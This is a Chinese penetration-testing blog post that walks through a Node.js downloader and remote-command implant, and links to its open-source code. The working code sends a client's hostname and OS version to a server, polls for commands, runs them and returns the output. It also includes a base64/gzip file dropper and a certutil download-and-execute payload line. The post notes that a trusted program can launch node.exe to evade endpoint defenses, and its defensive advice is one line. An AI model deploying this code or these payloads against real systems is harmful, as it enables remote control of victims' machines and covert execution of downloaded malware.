渗透测试中的Node.js——Downloader的实现

0x00 前言


Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。

我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。

Node.js绕过主动防御的学习地址:

https://bbs.pediy.com/thread-249573.htm

0x01 简介


本文将要介绍以下内容:

  • 基本概念
  • 利用Node.js实现的文件释放
  • 利用Node.js实现的downloader
  • 利用思路
  • 防御建议

0x02 基本概念


Node.js同JavaScript的区别

JavaScript是一门语言

Node.js是一个基于Chrome V8引擎的JavaScript运行环境

虽然在Windows平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同

Node.js的使用

官方文档:

https://nodejs.org/api/

中文资料:

http://www.runoob.com/nodejs/nodejs-tutorial.html

下载地址:

https://nodejs.org/en/download/

在Windows平台下,Node.js代码保存在.js后缀名的文件中,通过node.exe加载执行

Node.js支持第三方包,可通过npm命令安装模块,实例如下:

安装web框架模块express:

npm install express

使用模块express:

var express = require('express');

注:

本文涉及的代码均不使用第三方包,只使用安装包中的node.exe

0x03 利用Node.js实现的文件释放


实现思路:

将exe文件做base64编码存储在文件中,释放时先读取文件进行解码,最后写入文件

1. 读取文件内容,做base64编码并输出到data.txt

function base64_encode(file) {
	var fs = require('fs');
	var data = fs.readFileSync(file);
	return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

注:

fs.readFileSync表示同步读取,异步读取使用fs.readFile

执行:

node.js base64encode.js >data.txt

2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe

function base64_decode(base64str, file) {
	var data = Buffer.from(base64str, 'base64');
    fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

注:

使用代码var base64str = fs.readFileSync('data.txt');在读取文件后,变量base64str需要强制转换成字符串类型,即base64str.toString()

为了缩小文件长度,加入压缩算法gzip

1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz

function gunzip(sourcePath) {
	var zlib = require('zlib');
	var fs = require('fs');
  	var unzip = zlib.createGunzip(); 
  	var rs = fs.createReadStream(sourcePath); 
  	var ws = fs.createWriteStream('test2.exe');
  	rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
  var unzip = zlib.createGunzip(); 
  var rs = fs.createReadStream(sourcePath); 
  var ws = fs.createWriteStream('test2.exe');
  rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 利用Node.js实现的downloader


实现思路:

1. Server

  • 监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据
  • 对客户端的数据包进行筛选,对符合条件1的客户端返回控制命令,对符合条件2的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面

2. Client

  • 连接指定服务器,发送固定格式的post数据,包括当前系统的主机名和操作系统版本
  • 接收服务器返回的控制命令,执行后将结果再次发送到服务器
  • 如果服务器未响应,等待一段时间后再次发送post请求

需要考虑如下问题:

1. 通过Node.js执行cmd命令

function runcmd(command) {
	var childprocess = require('child_process');
	childprocess.exec(command, (err, stdout, stderr) => {
  	if (err) {
    		console.error(err);
    		return;
  	}
  	console.log(stdout);
	});
}
runcmd('whoami');

2. HTTP通信的实现

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
    	var body = '';
    	console.log('req.url:',req.url);
    	req.on('data', function (chunk) {
		body += chunk;
        	console.log("chunk:",chunk);
    	});
    	req.on('end', function () {
        	body = querystring.parse(body);  
        	console.log('body:',body);
        	res.write('Message from server');
        	res.end();
    	});
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
sendHello('127.0.0.1','3000');

Client向Server发送post数据,内容为data1=str1&data2=str2

Server收到请求后,向Client回复的内容为Message from server

3. sleep的实现

Node.js默认不支持sleep操作,这里可以自己实现:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

字符串类型转换为数字,可在前面加+

4. Client定时循环发送post请求

这里需要考虑异步和同步的问题

Node.js是异步编程,但Client定时循环发送post请求需要使用同步实现,测试代码如下:

Server:

代码同上

Client:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
while (true)
{
	console.log('1');
	sleep(5000);
	sendHello('127.0.0.1','3000');
}

期待的结果:

Clinet每隔5秒发送一个post请求,接收结果

实际的结果:

每隔5秒执行一次循环,但Clinet没有发出请求

由于我们最初的设想是不使用npm,所以也无法使用async模块实现同步

最终,我通过方法嵌套解决了同步问题,示例如下:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function A(){
	console.log('A');
	B();	
}
function B(){
	console.log('B');
	sleep(5000);
	A();	
}
A();

5. Server显示Client的IP

代码如下:

function getClientIp(req) {
        return req.headers['x-forwarded-for'] ||
        req.connection.remoteAddress ||
        req.socket.remoteAddress ||
        req.connection.socket.remoteAddress;
};

默认为格式为ipv6,例如:

::ffff:127.0.0.1

可以通过修改listen的参数指定为ipv4

修改前:

.listen(3000);

修改后:

.listen(3000,'0.0.0.0');

6. Server判断post请求,不符合要求的回复404

对body的内容进行判断即可

完整实现代码已开源,地址:

https://github.com/3gstudent/NodeJS-Downloader

注:

开源的代码仅仅是一个示例,用作演示NodeJS的功能

用法如下:

需要先获得node.exe,下载地址: https://nodejs.org/en/download/

1. 编辑文件Server.js

可编译以下内容:

  • 向Client发送的命令:var command
  • 监听端口: .listen(80,'0.0.0.0');

2. 启动Server

node.exe Server.js

监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据

对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面

3. 编辑文件Client.js

可编译以下内容:

  • Server的IP:var serverip
  • Server的端口:var serverport
  • 循环间隔时间:var timeinterval

4. 启动Client

node.exe Client.js

Client将会连接Server,发送固定格式的post数据,包括当前系统的主机名和操作系统版本

接下来接收Server返回的控制命令,执行后将结果再次发送到Server

如果Server未响应,等待一段时间后再次发送post请求

0x05 利用思路


1、开源的代码支持多种payload

可将payload设置为下载文件并执行,例如

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

更多下载执行的命令可参考之前的文章《渗透技巧——从github下载文件的多种方法》

注:

发送Client退出的命令可使用:

var command = 'taskkill /f /im node.exe';

2、可被第三方可信程序加载

参考:

https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

演示如图:

Alt text

0x06 防御建议


对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截

0x07 小结


本文介绍了在开发Node.js代码时需要注意的细节,开源了一段Downloader的测试代码,用来演示Node.js的功能。

简要分析在渗透测试中的利用思路,给出防御建议。


LEAVE A REPLY

Written on February 28, 2019